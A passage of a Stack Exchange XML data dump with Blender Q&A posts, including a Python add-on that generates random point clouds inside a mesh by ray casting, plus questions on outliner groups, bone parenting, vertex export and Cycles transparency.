'INVOKE_DEFAULT')&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second script generates a point cloud within that bounding box:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;from random import uniform&#xA;&#xA;def main(context, num):&#xA;&#xA;    ob = context.object&#xA;    mat = ob.matrix_world.copy()&#xA;    mat.col[3][:3] = [0] * 3 # reset translation&#xA;&#xA;    bbox = [Vector(b) for b in ob.bound_box]&#xA;    xmin, xmax = bbox[0].x, bbox[6].x&#xA;    ymin, ymax = bbox[0].y, bbox[6].y&#xA;    zmin, zmax = bbox[0].z, bbox[6].z&#xA;&#xA;    me = bpy.data.meshes.new(&quot;Random points&quot;)&#xA;    me.vertices.add(num)&#xA;&#xA;    for v in me.vertices:&#xA;        v.co = mat * Vector((uniform(xmin, xmax), uniform(ymin, ymax), uniform(zmin, zmax)))&#xA;&#xA;    ob_new = bpy.data.objects.new(&quot;Random points&quot;, me)&#xA;    ob_new.location = ob.matrix_world.translation&#xA;    ob_new.show_x_ray = True&#xA;    bpy.context.scene.objects.link(ob_new)&#xA;    bpy.context.scene.update()&#xA;&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    amount = bpy.props.IntProperty(name=&quot;Amount&quot;,&#xA;        description=&quot;Number of random points to generate&quot;,&#xA;        default=100,&#xA;        min=1, max=10000&#xA;        )&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.object is not None&#xA;&#xA;    def execute(self, context):&#xA;        main(context, self.amount)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(NOTE: of course the first script is completely unnecessary, but it looks pretty!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result: &#xA;&lt;img src=&quot;https://i.stack.imgur.com/GBy9y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is insert a check to see whether the generated point is within the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The way I'm doing this is to generate a pair of points within the bounding box, A and B.  now I raycast along that line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Imagine you had a ray starting inside the object. When it hits the surface, the normal vector of the surface at that point will be aligned with the ray.  Specifically the angle between the ray and the normal vector will be &amp;lt; 90°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got it to run without producing errors, but now it isn't producing points either.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;NOTE: Instructions: paste script in the blender text editor, text -&gt; run script&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do this for both scripts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now with the mouse over the 3-D view, hit the spacebar -&gt; 'simple object operator'&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-01-20T17:34:39.330" LastActivityDate="2014-01-26T04:25:27.227" Title="Programmatically generate random point-cloud within solid mesh" Tags="&lt;python&gt;&lt;scripting&gt;&lt;point-clouds&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6399" PostTypeId="1" AcceptedAnswerId="6405" CreationDate="2014-01-20T08:11:32.883" Score="19" ViewCount="26497" Body="&lt;p&gt;When I learned the basics of Maya awhile back, they taught us that we could organize and clean the outliner window with groups. Anyway, it doesn't seem that I can hide multiple objects into one grouping in the Outliner in Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="371" LastEditorUserId="599" LastEditDate="2014-01-20T21:13:47.827" LastActivityDate="2018-07-02T04:01:28.020" Title="How can I organize the outliner with groups?" Tags="&lt;interface&gt;&lt;groups&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="6401" PostTypeId="1" AcceptedAnswerId="6402" CreationDate="2014-01-20T08:15:53.020" Score="9" ViewCount="26496" Body="&lt;p&gt;I have rigged a gun, but the bones/armature is attached to the wrong bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to move all the bones which are meant for the gun to a different bone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Images which explain the problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Qfvyb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jzoM9.png&quot; alt=&quot;move here to there&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-01-20T21:11:55.940" LastActivityDate="2016-12-12T21:50:34.003" Title="How to re-parent a bone?" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6402" PostTypeId="2" ParentId="6401" CreationDate="2014-01-20T09:02:38.727" Score="13" Body="&lt;p&gt;I guess you mean the way to change parent of a bone:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BHbJU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2014-01-20T09:02:38.727" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6403" PostTypeId="1" AcceptedAnswerId="6431" CreationDate="2014-01-20T09:08:17.600" Score="2" ViewCount="1979" Body="&lt;p&gt;Basically, I've been trying to implement the code from the following page but I'm having difficulty tying the subtleties together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/3637/get-indices-of-vertices-of-triangulated-faces-in-python/3657#3657&quot;&gt;Get indices of vertices of triangulated faces in python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The block that is over a light gray rectangle is the array that will be passed to a VBO.  That is what I'd like that output from Blender to look like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the example code I am using, I would like to change every instance of the following: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;print(indices)&lt;/code&gt;&lt;br&gt;&#xA;or&lt;br&gt;&#xA;&lt;code&gt;print(plain_verts)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;into something that will print to a text file in a specified folder on my hardrive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;***To address a comment that was made:***My question has nothing really to do with C/C++, what I am looking for is the Blender Python equivalent so that I can end up with the same file which is the Vertex, normals and uvCoords. In a 1 dimensional floating point array.  Basically I need a Python script that can emulate the following code.  I want to replace all the fluff below with a script that is run from within Blender.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vSmuE.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;So basically, how do I end up with text with a file that has something like the following in it?  By using Python in Blender.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example it would be called  &lt;strong&gt;&lt;em&gt;modelName.txt&lt;/em&gt;&lt;/strong&gt; and would contain the following.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;GLfloat modelName[] = &#xA;{&#xA;    vertex, normal, uv,      #Vertex 1 &#xA;    vertex, normal, uv,      #Vertex 2&#xA;    vertex, normal, uv,      #Vertex 3 &#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.140" LastActivityDate="2014-09-17T13:28:42.440" Title="How do we access Vert, Norm and UV data then print to a text file using Blender/Python?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6405" PostTypeId="2" ParentId="6399" CreationDate="2014-01-20T09:48:36.173" Score="23" Body="&lt;p&gt;Basically you can use &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/properties/relations/parents.html&quot; rel=&quot;noreferrer&quot;&gt;Groups and Parenting&lt;/a&gt; to organize your scene.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Grouped objects are displayed hierarchically in the group view.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bZh9T.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Parented objects would be displayed hierarchically in the outliner's default view.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V5ajp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/outliner.html&quot; rel=&quot;noreferrer&quot;&gt;Outliner Documentation&lt;/a&gt; for more detailed information.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="57787" LastEditDate="2018-07-02T04:01:28.020" LastActivityDate="2018-07-02T04:01:28.020" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6407" PostTypeId="2" ParentId="6253" CreationDate="2014-01-20T11:54:43.100" Score="6" Body="&lt;p&gt;The following thread on the BlenderArtists forum has been going strong for the past 1.5 years and the discussion often turns to retopo.  This will help with all the more subtle details after you have followed the advice offered by gandalf3 above.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?264568-Dyntopo-tests&quot; rel=&quot;nofollow&quot;&gt;http://blenderartists.org/forum/showthread.php?264568-Dyntopo-tests&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2015-07-16T23:11:10.497" LastActivityDate="2015-07-16T23:11:10.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6408" PostTypeId="2" ParentId="6386" CreationDate="2014-01-20T14:48:07.927" Score="9" Body="&lt;p&gt;Your issue is you pinned the mesh settings in the properties panel, so you can change the settings of any other objects. Simply de-pin it so you can change the settings of the other objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yO0pz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, give the armature the X-Ray, because the object that has the X-Ray box checked is the one that will show through any other object. In this case, you want to to uncheck X-Ray on the mesh and check it for the armature.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-01-20T14:48:07.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6409" PostTypeId="1" AcceptedAnswerId="6410" CreationDate="2014-01-20T15:15:02.123" Score="12" ViewCount="5837" Body="&lt;p&gt;Is there a way to do a particular task manually, generate the code for it automatically and update that code to do some task repeatedly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking for something like record macro functionality that's available in MS Excel.&lt;/p&gt;&#xA;" OwnerUserId="137" LastEditorUserId="55" LastEditDate="2015-08-17T20:55:39.233" LastActivityDate="2019-09-30T02:16:26.540" Title="Possible to replay repetitive tasks using Python?" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6410" PostTypeId="2" ParentId="6409" CreationDate="2014-01-20T15:21:41.707" Score="14" Body="&lt;p&gt;If you pull down the &lt;em&gt;Info&lt;/em&gt; header you will find that a fair amount of operations you can perform in Blender are printed there for relatively simple stuff such as adding a lamp or a modifier etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;adds a cube&lt;/li&gt;&#xA;&lt;li&gt;scales it by &lt;code&gt;2.0&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;translates on the Z axis by &lt;code&gt;1.0&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;sets the color to red&lt;/li&gt;&#xA;&lt;li&gt;shows the name&lt;/li&gt;&#xA;&lt;li&gt;renames the object.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/S4vup.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S4vup.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the lines (mouse-click, border-select or AKey)&lt;/li&gt;&#xA;&lt;li&gt;Ctrl+C to copy the selected lines.&lt;/li&gt;&#xA;&lt;li&gt;Paste into the text editor.&lt;/li&gt;&#xA;&lt;li&gt;add &lt;code&gt;import bpy&lt;/code&gt; at the top of the text block.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;After that, if you were to have a look at the &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_75_release/&quot; rel=&quot;noreferrer&quot;&gt;api&lt;/a&gt;, you could cut out much of the fluff and just use said commands in a script to reuse whenever you need to provided it is simple enough and in the correct context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.mesh.primitive_cube_add(&#xA;        radius=1.0, view_align=False, enter_editmode=False,&#xA;        location=(0.0, 0.0, 0.0), rotation=(0.0, 0.0, 0.0),&#xA;        layers=(False, False, False, False, False, False,&#xA;                False, False, False, False, False, False,&#xA;                False, False, False, False, False, False,&#xA;                False, False))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... can be shortened to &lt;code&gt;bpy.ops.mesh.primitive_cube_add()&lt;/code&gt; in most situations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is &lt;em&gt;as close to a macro like functionality&lt;/em&gt; that you can get in Blender and it is linear so any actual repetitive bits will have to be crafted by you, loops etc. It is also worth noting that many of these commands need to be run in a specific context so I would recommend using it as a means of learning the correct calls instead of trying to reuse it directly.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Note&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;For most operations, there is an accompanying line of code printed. Including changing numeric values, toggles... etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Excluded operations are typically not useful to redo, zooming/panning, setting the cursor location... etc.&lt;/em&gt; &lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="55" LastEditDate="2015-08-17T20:51:23.637" LastActivityDate="2015-08-17T20:51:23.637" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6411" PostTypeId="2" ParentId="6281" CreationDate="2014-01-20T15:24:43.670" Score="0" Body="&lt;p&gt;It looks linking is what you want, you will have to use the link option. You can find this under &lt;code&gt;File→Link&lt;/code&gt;. Although it sounds as though you already pondered this method. After some quick testing it does seem that all the mesh and material data is transferred.&#xA;For advise on keeping all the objects organized, keep all the objects you want referenced in a library file and just link from that to keep from going through all the objects you don't need to reference. Also, name your objects properly. Navigating through the .blend structure is easy when you know which folder you need to go to. For whole objects, after you select &lt;code&gt;File→Link&lt;/code&gt;, go to your library blend file and select &lt;code&gt;Object→'Objectname'&lt;/code&gt;.&#xA;Use Alt+D to duplicate the linked object in your level files if you don't want to get another linked object. If you use Shift+D, only the material will update in my experience.&lt;/p&gt;&#xA;" OwnerUserId="1920" LastActivityDate="2014-01-20T15:24:43.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6412" PostTypeId="2" ParentId="6397" CreationDate="2014-01-20T15:31:09.763" Score="5" Body="&lt;p&gt;Woot!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: new version: just put it in your /scripts/addons/ and load it in through blender's user preferences -&gt; add-ons&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/neygg.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;PointCloud Generator&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&#xA;# CoDEmanX, pi&#xA;# 19.1.2014&#xA;#&#xA;# Generate random points within the volume of a mesh&#xA;#&#xA;# Point testing is done by projecting the point in the positive X direction;&#xA;#    if the first collision is with the inside of the mesh, the point is considered to be inside&#xA;#&#xA;# To load:&#xA;#   To load, Either:&#xA;#        paste into blender's inbuilt text editor, which has a menu option for &quot;run script&quot;, which you need to do.&#xA;#   Or type into blender python prompt:&#xA;#        f='/Users/pi/Dev/blenderAddons/pointcloud.py'; exec(   compile( open(f).read(), f, 'exec' )   )&#xA;#&#xA;# To use:&#xA;#    * With target object selected&#xA;#    * in edit mode&#xA;#    * with the mouse over the 3-D view&#xA;#   Hit SpaceBar&#xA;#&#xA;#   ...and search for &quot;PointCloud&quot;&#xA;#&#xA;#   Adjust the number of points in the panel&#xA;&#xA;bl_info = {&#xA;    &quot;name&quot;: &quot;PointCloud Generator&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX, pi&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 67, 0),&#xA;    &quot;location&quot;: &quot;View3D &amp;gt; T-panel &amp;gt; Object Tools&quot;,&#xA;    &quot;description&quot;: &quot;Generate random points within the volume of a mesh&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;Add Mesh&quot;}&#xA;&#xA;&#xA;import bpy&#xA;from mathutils import Vector&#xA;from random import uniform&#xA;&#xA;from math import pi&#xA;&#xA;def pt_in_box(O,P):&#xA;    return Vector( (&#xA;                uniform( O.x, P.x ),&#xA;                uniform( O.y, P.y ),&#xA;                uniform( O.z, P.z )&#xA;            ) )&#xA;&#xA;def main(context, num):&#xA;    max_attempts = 999&#xA;&#xA;    context.scene.update()&#xA;&#xA;    ob = context.object&#xA;&#xA;    mat = ob.matrix_world.copy()&#xA;    mat.col[3][:3] = [0] * 3 # reset translation&#xA;&#xA;    bbox = [Vector(b) for b in ob.bound_box]&#xA;&#xA;    O = bbox[0]&#xA;    W = bbox[6]&#xA;&#xA;    X = Vector( ( W.x - O.x, 0.0, 0.0 ) )&#xA;    #Y = Vector( ( 0.0, W.y - O.y, 0.0 ) )&#xA;    #Z = Vector( ( 0.0, 0.0, W.z - O.z ) )&#xA;&#xA;    me = bpy.data.meshes.new(&quot;pointcloud&quot;)&#xA;    me.vertices.add(num)&#xA;&#xA;    for v in me.vertices:&#xA;        got = False&#xA;&#xA;        for i in range(1,max_attempts):&#xA;            A = pt_in_box( O, W )&#xA;&#xA;            (location, normal, index) = ob.ray_cast(A, A+X)&#xA;&#xA;            # don't need X.angle(hit.normal), woot!&#xA;            if index &amp;gt; -1  and  normal.x &amp;gt; 0.0 :&#xA;                got = True&#xA;                break&#xA;&#xA;        if not got:&#xA;            print( &quot;PtCloud Failed&quot; )&#xA;            return&#xA;&#xA;        v.co = A&#xA;&#xA;    me.transform(mat)&#xA;&#xA;    ob_new = bpy.data.objects.new(&quot;pointcloud&quot;, me)&#xA;    ob_new.location = ob.matrix_world.translation&#xA;    ob_new.show_x_ray = True&#xA;    bpy.context.scene.objects.link(ob_new)&#xA;    bpy.context.scene.update()&#xA;&#xA;&#xA;class PointCloudGenerator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.pointcloud&quot;&#xA;    bl_label = &quot;PointCloud&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'}&#xA;&#xA;    amount = bpy.props.IntProperty(name=&quot;Points&quot;,&#xA;        description=&quot;Number of random points to generate&quot;,&#xA;        default=100,&#xA;        min=1, max=25000&#xA;        )&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.object is not None&#xA;&#xA;    def execute(self, context):&#xA;        main(context, self.amount)&#xA;        return {'FINISHED'}&#xA;&#xA;&#xA;def draw_func(self, context):&#xA;    layout = self.layout&#xA;    layout.operator(PointCloudGenerator.bl_idname)&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(PointCloudGenerator)&#xA;    bpy.types.VIEW3D_PT_tools_objectmode.prepend(draw_func)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(PointCloudGenerator)&#xA;    bpy.types.VIEW3D_PT_tools_objectmode.remove(draw_func)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="1693" LastEditDate="2014-01-26T04:25:27.227" LastActivityDate="2014-01-26T04:25:27.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6414" PostTypeId="2" ParentId="2256" CreationDate="2014-01-20T17:28:21.300" Score="4" Body="&lt;p&gt;I think you just forgot to set the mode as stated in the manual:&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_7/bge.types.BL_ArmatureChannel.html#bge.types.BL_ArmatureChannel&quot; rel=&quot;nofollow&quot;&gt;bge.types.BL_ArmatureChannel&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Excerpt:  rotation_euler Note: This field is only used if rotation_mode is &gt; 0. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked for me (v2.69):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;tA.channels['middleBone'].rotation_mode = logic.ROT_MODE_XYZ&#xA;tA.channels['middleBone'].rotation_euler = ( 0.5, 0, 0 )&#xA;tA.update()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2204" LastEditorUserId="29" LastEditDate="2014-01-21T14:34:36.447" LastActivityDate="2014-01-21T14:34:36.447" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6415" PostTypeId="1" AcceptedAnswerId="6455" CreationDate="2014-01-20T17:52:16.763" Score="6" ViewCount="7204" Body="&lt;p&gt;Is it possible to almost duplicate or split vertices but keep them part of the edge that that they're on? Subdividing basically works, but if I try to do multiple edges at once, it does it in all locations. I can do it by subdividing and then dissolving the leftover vertices or by subdividing alone and then connecting the vertices, but is there an easier way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The closest thing that I've found is &quot;Loop Cut and Slide&quot;, but that just creates new vertices only connected to the ones I did it from instead of inserting new vertices in the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if I have this mesh:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tLcc1.png&quot; alt=&quot;A basic grid on a rectangle.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to do this:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/56Ymo.png&quot; alt=&quot;The same grid with two new vertices parallel to previous vertices and on the same edges.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I select the vertices on the other side and subdivide it, it gives me this though:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/J8T58.png&quot; alt=&quot;The same grid with vertices on the perpendicular edges too.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to do this?&lt;/p&gt;&#xA;" OwnerUserId="2205" LastEditorUserId="2205" LastEditDate="2014-01-22T04:47:33.863" LastActivityDate="2014-01-22T05:06:12.727" Title="Can I subdivide vertices in a single direction?" Tags="&lt;modeling&gt;&lt;mesh&gt;" AnswerCount="1" CommentCount="12" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6416" PostTypeId="1" CreationDate="2014-01-20T19:26:40.973" Score="12" ViewCount="117100" Body="&lt;p&gt;I added two planes in Cycles with Image Texture in png with some transparency. I covered one by the other but transparency doesn't work, I mean it is impossible to see the one which is under despite transparency in the one which is above. What could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="1866" LastEditorUserId="2217" LastEditDate="2014-08-17T02:59:23.673" LastActivityDate="2014-08-17T02:59:23.673" Title="Transparent image textures in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;materials&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="14" ClosedDate="2014-01-27T13:11:34.573" ContentLicense="CC BY-SA 3.0" />
  <row Id="6417" PostTypeId="1" CreationDate="2014-01-20T19:41:10.030" Score="4" ViewCount="1910" Body="&lt;p&gt;EDIT: Ok, my question/explanation doesn't seem to be clear enough, so I'll try to restate my goal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The end result I'm trying to achieve is to hook an empty or bone to each separated face, BUT using the face normal orientation so that the faces can be animated by each hooked empty/bone and the rotation will occur with respect to each face's normal.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I'm trying to find a way to rotate faces of a mesh on their normals. Currently it seems one needs to separate the faces to individual objects in order to control rotation from an empty/modifier/constraint. However once the faces are separated, and Transform&gt;Origin to Geometry is called, the orientation is not based on the original normals of the mesh face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one copy the original normal orientation of the mesh face to the separated object data?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there another way to control rotation of mesh faces (assuming the faces have first been separated within the mesh object)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also mention that I'm wondering about a non-scripted solution, as I could probably figure out a script to do it, but was looking for simpler solution first. Feel free to post script solutions though if you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, a solution that allows mesh face rotation on the individual normals based on an external input without separating faces to objects would be preferable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VmvT4.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="894" LastEditorUserId="894" LastEditDate="2014-01-24T19:47:40.913" LastActivityDate="2014-01-24T19:47:40.913" Title="How do I copy the normal axis orientation from a mesh face to an Empty hooked to the face OR a bone parented to the face?" Tags="&lt;mesh&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="4" ClosedDate="2014-01-21T07:29:00.797" ContentLicense="CC BY-SA 3.0" />
  <row Id="6418" PostTypeId="2" ParentId="6365" CreationDate="2014-01-20T19:46:11.790" Score="1" Body="&lt;p&gt;Use velocity=distance/time, in your case velocity=30/0.25=120 BU/s however the blender game engine units are BU/game-frame (default=60) therefore the correct value would be 2 BU/game-frame. To make the object travel 120BU/s on the local Y-axis, I believe you need to use (assuming default game-frame): &lt;/p&gt;&#xA;&#xA;&lt;p&gt;setLinearVelocity((0.0,120.0,0.0),True)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Apparently the units are BU/s&lt;/p&gt;&#xA;" OwnerUserId="1479" LastEditorUserId="1479" LastEditDate="2014-01-20T20:53:11.783" LastActivityDate="2014-01-20T20:53:11.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6421" PostTypeId="1" CreationDate="2014-01-20T21:25:09.333" Score="2" ViewCount="3182" Body="&lt;p&gt;I have a shoot animation which contains 15 Keyframes, and a reload that contains 70 keyframes. When I set the keyframe amount to 70 and go to the shoot animation, then change the number of keyframes to 15, only 15 keyframes show up when I go back into the reload animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/N399r.png&quot; alt=&quot;Shoot with only 15 key frames , but showing 70 frames allowed.&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jPoFH.png&quot; alt=&quot;Reload with 70 Keyframes.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="20" LastEditDate="2014-01-21T00:48:35.280" LastActivityDate="2014-02-20T02:45:58.323" Title="Change number of frames allowed for each animation?" Tags="&lt;animation&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6422" PostTypeId="2" ParentId="6417" CreationDate="2014-01-20T22:11:30.260" Score="2" Body="&lt;p&gt;You don't need to separate faces to different objects, but you have to separate them. One way is add EdgeSplit modifier, set angle to 0 and apply it. When you have separete faces, just set Pivot point to &quot;Individual Origins&quot; (it's where you setting Median, 3D cursor, etc.) and Transform Orientation to &quot;Normal&quot;. Now if you press [R] for rotation, you can press x,y or z for locking rotation to one axes in global world, but if you press x,y, or z again, the rotation will be around each individual face normal. Hope it will help.&lt;/p&gt;&#xA;" OwnerUserId="2207" LastActivityDate="2014-01-20T22:11:30.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
